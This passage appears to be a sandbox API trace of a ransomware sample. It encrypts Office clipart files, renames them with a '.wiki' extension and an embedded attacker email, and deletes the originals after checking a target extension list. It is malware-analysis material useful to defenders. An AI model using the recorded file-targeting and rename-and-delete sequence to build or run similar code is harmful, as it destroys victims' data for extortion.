office\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0060.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0060.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0060.582] lstrlenW (lpString=".doc") returned 4 [0060.582] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.582] lstrlenW (lpString=".docx") returned 5 [0060.582] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.582] lstrlenW (lpString=".pdf") returned 4 [0060.582] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.582] lstrlenW (lpString=".xls") returned 4 [0060.582] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.582] lstrlenW (lpString=".xlsx") returned 5 [0060.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.582] lstrlenW (lpString=".ppt") returned 4 [0060.582] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0060.582] lstrlenW (lpString=".zip") returned 4 [0060.582] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.582] lstrlenW (lpString=".rar") returned 4 [0060.582] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.582] lstrlenW (lpString=".bz2") returned 4 [0060.582] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.582] lstrlenW (lpString=".7z") returned 3 [0060.582] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0060.582] lstrlenW (lpString=".dbf") returned 4 [0060.583] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0060.583] lstrlenW (lpString=".1cd") returned 4 [0060.583] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0060.583] lstrlenW (lpString=".jpg") returned 4 [0060.583] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0060.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0060.583] lstrlenW (lpString=".doc") returned 4 [0060.583] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.583] lstrlenW (lpString=".docx") returned 5 [0060.583] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.583] lstrlenW (lpString=".pdf") returned 4 [0060.583] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.583] lstrlenW (lpString=".xls") returned 4 [0060.583] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.583] lstrlenW (lpString=".xlsx") returned 5 [0060.583] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.583] lstrlenW (lpString=".ppt") returned 4 [0060.583] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0060.583] lstrlenW (lpString=".zip") returned 4 [0060.583] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.583] lstrlenW (lpString=".rar") returned 4 [0060.583] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.583] lstrlenW (lpString=".bz2") returned 4 [0060.583] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.583] lstrlenW (lpString=".7z") returned 3 [0060.583] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0060.583] lstrlenW (lpString=".dbf") returned 4 [0060.583] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0060.584] lstrlenW (lpString=".1cd") returned 4 [0060.584] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0060.584] lstrlenW (lpString=".jpg") returned 4 [0060.584] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.584] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.584] lstrlenW (lpString="AG00103_.GIF") returned 12 [0060.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.585] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=12702) returned 1 [0060.585] CloseHandle (hObject=0x21c) returned 1 [0060.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0060.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.585] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.585] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0060.585] GetLastError () returned 0x0 [0060.585] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x319e, lpOverlapped=0x0) returned 1 [0060.628] WriteFile (in: hFile=0x168, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x31a0, lpOverlapped=0x0) returned 1 [0060.630] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.630] WriteFile (in: hFile=0x168, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.630] SetEndOfFile (hFile=0x168) returned 1 [0060.630] CloseHandle (hObject=0x168) returned 1 [0060.630] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.630] SetEndOfFile (hFile=0x21c) returned 1 [0060.631] CloseHandle (hObject=0x21c) returned 1 [0060.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0060.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0060.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0060.631] lstrlenW (lpString=".doc") returned 4 [0060.631] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.631] lstrlenW (lpString=".docx") returned 5 [0060.631] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.631] lstrlenW (lpString=".pdf") returned 4 [0060.631] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.632] lstrlenW (lpString=".xls") returned 4 [0060.632] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.632] lstrlenW (lpString=".xlsx") returned 5 [0060.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.632] lstrlenW (lpString=".ppt") returned 4 [0060.632] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0060.632] lstrlenW (lpString=".zip") returned 4 [0060.632] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.632] lstrlenW (lpString=".rar") returned 4 [0060.632] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.632] lstrlenW (lpString=".bz2") returned 4 [0060.632] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.632] lstrlenW (lpString=".7z") returned 3 [0060.632] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0060.632] lstrlenW (lpString=".dbf") returned 4 [0060.632] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0060.632] lstrlenW (lpString=".1cd") returned 4 [0060.632] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0060.632] lstrlenW (lpString=".jpg") returned 4 [0060.632] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0060.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0060.632] lstrlenW (lpString=".doc") returned 4 [0060.632] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.632] lstrlenW (lpString=".docx") returned 5 [0060.632] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.632] lstrlenW (lpString=".pdf") returned 4 [0060.632] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.632] lstrlenW (lpString=".xls") returned 4 [0060.632] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.632] lstrlenW (lpString=".xlsx") returned 5 [0060.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.633] lstrlenW (lpString=".ppt") returned 4 [0060.633] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0060.633] lstrlenW (lpString=".zip") returned 4 [0060.633] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.633] lstrlenW (lpString=".rar") returned 4 [0060.633] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.633] lstrlenW (lpString=".bz2") returned 4 [0060.633] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.633] lstrlenW (lpString=".7z") returned 3 [0060.633] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0060.633] lstrlenW (lpString=".dbf") returned 4 [0060.633] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0060.633] lstrlenW (lpString=".1cd") returned 4 [0060.633] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0060.633] lstrlenW (lpString=".jpg") returned 4 [0060.633] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.633] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.633] lstrlenW (lpString="AG00135_.GIF") returned 12 [0060.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.638] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2596) returned 1 [0060.638] CloseHandle (hObject=0x180) returned 1 [0060.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0060.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.639] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.639] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.639] GetLastError () returned 0x0 [0060.639] ReadFile (in: hFile=0x180, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0xa24, lpOverlapped=0x0) returned 1 [0060.641] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xa30, lpOverlapped=0x0) returned 1 [0060.642] ReadFile (in: hFile=0x180, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.642] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.642] SetEndOfFile (hFile=0x20c) returned 1 [0060.642] CloseHandle (hObject=0x20c) returned 1 [0060.642] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.642] SetEndOfFile (hFile=0x180) returned 1 [0060.643] CloseHandle (hObject=0x180) returned 1 [0060.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0060.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0060.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0060.644] lstrlenW (lpString=".doc") returned 4 [0060.644] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.644] lstrlenW (lpString=".docx") returned 5 [0060.644] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.644] lstrlenW (lpString=".pdf") returned 4 [0060.644] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.644] lstrlenW (lpString=".xls") returned 4 [0060.644] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.644] lstrlenW (lpString=".xlsx") returned 5 [0060.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.644] lstrlenW (lpString=".ppt") returned 4 [0060.644] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0060.644] lstrlenW (lpString=".zip") returned 4 [0060.644] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.644] lstrlenW (lpString=".rar") returned 4 [0060.644] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.644] lstrlenW (lpString=".bz2") returned 4 [0060.644] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.644] lstrlenW (lpString=".7z") returned 3 [0060.644] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0060.644] lstrlenW (lpString=".dbf") returned 4 [0060.644] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0060.644] lstrlenW (lpString=".1cd") returned 4 [0060.644] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0060.644] lstrlenW (lpString=".jpg") returned 4 [0060.644] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0060.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0060.644] lstrlenW (lpString=".doc") returned 4 [0060.644] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.645] lstrlenW (lpString=".docx") returned 5 [0060.645] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.645] lstrlenW (lpString=".pdf") returned 4 [0060.645] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.645] lstrlenW (lpString=".xls") returned 4 [0060.645] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.645] lstrlenW (lpString=".xlsx") returned 5 [0060.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.645] lstrlenW (lpString=".ppt") returned 4 [0060.645] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0060.645] lstrlenW (lpString=".zip") returned 4 [0060.645] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.645] lstrlenW (lpString=".rar") returned 4 [0060.645] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.645] lstrlenW (lpString=".bz2") returned 4 [0060.645] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.645] lstrlenW (lpString=".7z") returned 3 [0060.645] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0060.645] lstrlenW (lpString=".dbf") returned 4 [0060.645] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0060.645] lstrlenW (lpString=".1cd") returned 4 [0060.645] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0060.645] lstrlenW (lpString=".jpg") returned 4 [0060.645] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.645] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.645] lstrlenW (lpString="AG00139_.GIF") returned 12 [0060.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.646] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=10607) returned 1 [0060.646] CloseHandle (hObject=0x180) returned 1 [0060.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0060.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.647] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.647] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.647] GetLastError () returned 0x0 [0060.647] ReadFile (in: hFile=0x180, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x296f, lpOverlapped=0x0) returned 1 [0060.648] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x2970, lpOverlapped=0x0) returned 1 [0060.649] ReadFile (in: hFile=0x180, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.649] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.649] SetEndOfFile (hFile=0x20c) returned 1 [0060.650] CloseHandle (hObject=0x20c) returned 1 [0060.650] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.650] SetEndOfFile (hFile=0x180) returned 1 [0060.651] CloseHandle (hObject=0x180) returned 1 [0060.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0060.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0060.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0060.651] lstrlenW (lpString=".doc") returned 4 [0060.651] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.651] lstrlenW (lpString=".docx") returned 5 [0060.651] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.651] lstrlenW (lpString=".pdf") returned 4 [0060.651] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.651] lstrlenW (lpString=".xls") returned 4 [0060.651] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.651] lstrlenW (lpString=".xlsx") returned 5 [0060.651] 